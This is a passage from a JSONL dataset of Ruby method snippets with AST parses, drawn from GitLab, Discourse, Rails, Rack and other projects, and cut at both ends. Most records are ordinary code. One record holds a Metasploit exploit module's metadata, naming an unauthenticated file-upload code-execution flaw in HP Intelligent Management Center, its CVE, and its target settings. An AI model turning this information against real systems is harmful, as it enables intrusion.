",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"to_s\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"equal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"to_s\"]}]}]},null]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\t\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"%20\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"e90f0fe7-1292-4b9c-a1e5-aa83307496a9"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/json_api_sort_param.rb","start_line":18,"raw_source":"def fields_to_hash(fields)\n fields.each_with_object({}) do |field, result|\n if field.start_with?(\"-\")\n result[field[1..]] = :desc\n else\n result[field] = :asc\n end\n end.symbolize_keys\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fields_to_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fields\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},{\"type\":\"sym\",\"children\":[\"desc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},\"symbolize_keys\"]}]}","id":"2597bb18-3a6d-493b-8da6-9ece00e2318a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_package_types/settings_tab_controller.rb","start_line":54,"raw_source":"def permitted_settings_params\n params.expect(type: %i[name color_id description is_milestone is_in_roadmap is_default])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_settings_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"color_id\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"is_milestone\"]},{\"type\":\"sym\",\"children\":[\"is_in_roadmap\"]},{\"type\":\"sym\",\"children\":[\"is_default\"]}]}]}]}]}]}","id":"3158981b-3ff5-4420-8198-d35e88eab672"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/authorize/object_authorization.rb","start_line":20,"raw_source":"def any?\n abilities.present?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"any?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"abilities\"]},\"present?\"]}]}","id":"87d72bc0-1d88-4ad1-943a-b003dcf700e2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/hp_imc_mibfileupload.rb","start_line":14,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'HP Intelligent Management Center Arbitrary File Upload',\n 'Description' => %q{\n This module exploits a code execution flaw in HP Intelligent Management Center.\n The vulnerability exists in the mibFileUpload which is accepting unauthenticated\n file uploads and handling zip contents in an insecure way. Combining both weaknesses\n a remote attacker can accomplish arbitrary file upload. This module has been tested\n successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.\n },\n 'Author' => [\n 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery\n 'juan vazquez' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2012-5201' ],\n [ 'OSVDB', '91026' ],\n [ 'BID', '58385' ],\n [ 'ZDI', '13-050' ],\n [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03689276' ]\n ],\n 'Privileged' => true,\n 'Platform' => 'win',\n 'Arch' => ARCH_JAVA,\n 'DefaultOptions' => {\n 'SHELL' => 'cmd.exe'\n },\n 'Targets' => [\n [ 'HP Intelligent Management Center 5.1 E0202 / Windows', {} ]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2013-03-07',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc'])\n ]\n )\n end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HP Intelligent Management Center Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a code execution flaw in HP Intelligent Management Center.\\n\"]},{\"type\":\"str\",\"children\":[\" The vulnerability exists in the mibFileUpload which is accepting unauthenticated\\n\"]},{\"type\":\"str\",\"children\":[\" file uploads and handling zip contents in an insecure way. Combining both weaknesses\\n\"]},{\"type\":\"str\",\"children\":[\" a remote attacker can accomplish arbitrary file upload. This module has been tested\\n\"]},{\"type\":\"str\",\"children\":[\" successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rgod <rgod[at]autistici.org>\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-5201\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"91026\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"58385\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"13-050\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03689276\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_JAVA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHELL\"]},{\"type\":\"str\",\"children\":[\"cmd.exe\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Intelligent Management Center 5.1 E0202 / Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-03-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to HP Intelligent Management Center\"]},{\"type\":\"str\",\"children\":[\"/imc\"]}]}]}]}]}]}]}","id":"9ae24dd8-023d-4089-85c7-96db901c4d23"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_syslog.rb","start_line":640,"raw_source":"def test_parser_type_method(engine)\n @parser.configure({'parser_type' => engine.to_s})\n assert_equal(:text_per_line, @parser.instance.parser_type)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parser_type_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"engine\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parser_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"text_per_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"instance\"]},\"parser_type\"]}]}]}]}","id":"099a7720-56df-4aa6-ad18-4a34bb689f60"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/safe_zip/extract.rb","start_line":49,"raw_source":"def extract_with_ruby_zip(params)\n ::Zip::File.open(archive_path) do |zip_archive| # rubocop:disable Performance/Rubyzip\n # Extract all files in the following order:\n # 1. Directories first,\n # 2. Files next,\n # 3. Symlinks last (or anything else)\n extracted = extract_all_entries(zip_archive, params,\n zip_archive.lazy.select(&:directory?))\n\n extracted += extract_all_entries(zip_archive, params,\n zip_archive.lazy.select(&:file?))\n\n extracted += extract_all_entries(zip_archive, params,\n zip_archive.lazy.reject(&:directory?).reject(&:file?))\n\n raise NoMatchingError, 'No entries extracted' unless extracted > 0\n end\n end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_with_ruby_zip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Zip\"]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"archive_path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip_archive\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extracted\",{\"type\":\"send\",\"children\":[null,\"extract_all_entries\",{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},\"lazy\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"directory?\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extracted\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"extract_all_entries\",{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},\"lazy\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"file?\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extracted\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"extract_all_entries\",{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_archive\"]},\"lazy\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"directory?\"]}]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"file?\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoMatchingError\"]},{\"type\":\"str\",\"children\":[\"No entries extracted\"]}]}]}]}]}]}","id":"e4fefa2e-0a39-49c4-a9ce-d4974dd5b838"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/upload_and_cleanup_reports.rb","start_line":49,"raw_source":"def files_to_process\n Dir.entries(reports_path)\n .map { |path| File.join(reports_path, path) }\n .select { |path| File.file?(path) }\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"files_to_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"entries\",{\"type\":\"send\",\"children\":[null,\"reports_path\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"reports_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"ec532bae-2389-474c-8c15-f38fcc67cd7c"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/multipart/parser.rb","start_line":241,"raw_source":"def initialize(boundary, tempfile, bufsize, query_parser)\n @query_parser = query_parser\n @params = query_parser.make_params\n @bufsize = bufsize\n\n @state = :FAST_FORWARD\n @mime_index = 0\n @body_retained = nil\n @retained_size = 0\n @collector = Collector.new tempfile\n\n @sbuf = StringScanner.new(\"\".dup)\n @body_regex = /(?:#{EOL}|\\A)--#{Regexp.quote(boundary)}(?:#{EOL}|--)/m\n @body_regex_at_end = /#{@body_regex}\\z/m\n @end_boundary_size = boundary.bytesize + 4 # (-- at start, -- at finish)\n @rx_max_size = boundary.bytesize + 6 # (\\r\\n-- at start, either \\r\\n or -- at finish)\n @head_regex = /(.*?#{EOL})#{EOL}/m\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"boundary\"]},{\"type\":\"arg\",\"children\":[\"tempfile\"]},{\"type\":\"arg\",\"children\":[\"bufsize\"]},{\"type\":\"arg\",\"children\":[\"query_parser\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query_parser\",{\"type\":\"lvar\",\"children\":[\"query_parser\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_parser\"]},\"make_params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bufsize\",{\"type\":\"lvar\",\"children\":[\"bufsize\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"FAST_FORWARD\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mime_index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@body_retained\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@retained_size\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@collector\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Collector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tempfile\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sbuf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"dup\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@body_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOL\"]}]},{\"type\":\"str\",\"children\":[\"|\\\\A)--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]},{\"type\":\"str\",\"children\":[\"(?:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOL\"]}]},{\"type\":\"str\",\"children\":[\"|--)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@body_regex_at_end\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_regex\"]}]},{\"type\":\"str\",\"children\":[\"\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@end_boundary_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]},\"bytesize\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rx_max_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]},\"bytesize\"]},\"+\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@head_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(.*?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOL\"]}]},{\"type\":\"str\",\"children\":[\")\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOL\"]}]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]}]}","id":"53c64c1e-133a-4930-8863-d0e91a312b41"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/packages/cleanup/delete_orphaned_dependencies_worker.rb","start_line":65,"raw_source":"def reset_last_processed_dependency_id\n with_redis do |redis|\n redis.del(LAST_PROCESSED_PACKAGES_DEPENDENCY_REDIS_KEY)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_last_processed_dependency_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"del\",{\"type\":\"const\",\"children\":[null,\"LAST_PROCESSED_PACKAGES_DEPENDENCY_REDIS_KEY\"]}]}]}]}","id":"34888011-8f1c-4c67-83f0-10ffc5228b48"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/wizard_field_choice_serializer.rb","start_line":31,"raw_source":"def description\n I18n.t(\"#{i18nkey}.description\", default: \"\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18nkey\"]}]},{\"type\":\"str\",\"children\":[\".description\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"9cb0b298-7841-40e3-bd80-e2a94f0a874c"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":38,"raw_source":"def perform!\n if TopicsBulkAction.operations.exclude?(@operation[:type])\n raise Discourse::InvalidParameters.new(:operation)\n end\n # careful these are private methods, we need send\n send(@operation[:type])\n @changed_ids.sort\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicsBulkAction\"]},\"operations\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"operation\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"sort\"]}]}]}","id":"1c630e51-c845-4368-a52a-d59732ce0f07"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/mailers/previews/user_mailer_preview.rb","start_line":7,"raw_source":"def confirmation_instructions\n UserMailer.confirmation_instructions(User.first, 'spec')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"confirmation_instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserMailer\"]},\"confirmation_instructions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"first\"]},{\"type\":\"str\",\"children\":[\"spec\"]}]}]}","id":"d609fb2b-da1d-4e4c-9db4-fdf5edb97c5f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/feature_flags_controller.rb","start_line":152,"raw_source":"def summary_json\n FeatureFlagSummarySerializer\n .new(project: @project, current_user: @current_user)\n .represent(@project)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"summary_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureFlagSummarySerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]}]},\"represent\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}","id":"e92bbfe0-7040-441e-8aa0-5d7a0aac7654"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":562,"raw_source":"def yarn_through_corepack?\n using_node? and \"#{dockerfile_yarn_version}\" >= \"2\"\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"yarn_through_corepack?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_node?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dockerfile_yarn_version\"]}]}]},\">=\",{\"type\":\"str\",\"children\":[\"2\"]}]}]}]}","id":"d3f00f1e-88a4-4e35-a17b-f3c77946935f"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/literal_in_interpolation.rb","start_line":129,"raw_source":"def autocorrected_value_for_symbol(node)\n end_pos =\n node.loc.end ? node.loc.end.begin_pos : node.source_range.end_pos\n\n range_between(node.loc.begin.end_pos, end_pos).source.gsub('\"', '\\\"')\n end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrected_value_for_symbol\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"end_pos\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]},\"end_pos\"]},{\"type\":\"lvar\",\"children\":[\"end_pos\"]}]},\"source\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\"\"]}]}]}]}","id":"be58accc-adf6-4bfe-907d-61cc9cffa7b3"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/counter/test_client.rb","start_line":61,"raw_source":"def extract_value_from_server(server, scope, name)\n store = server.instance_variable_get(:@store).instance_variable_get(:@storage).instance_variable_get(:@store)\n key = Fluent::Counter::Store.gen_key(scope, name)\n store[key]\n 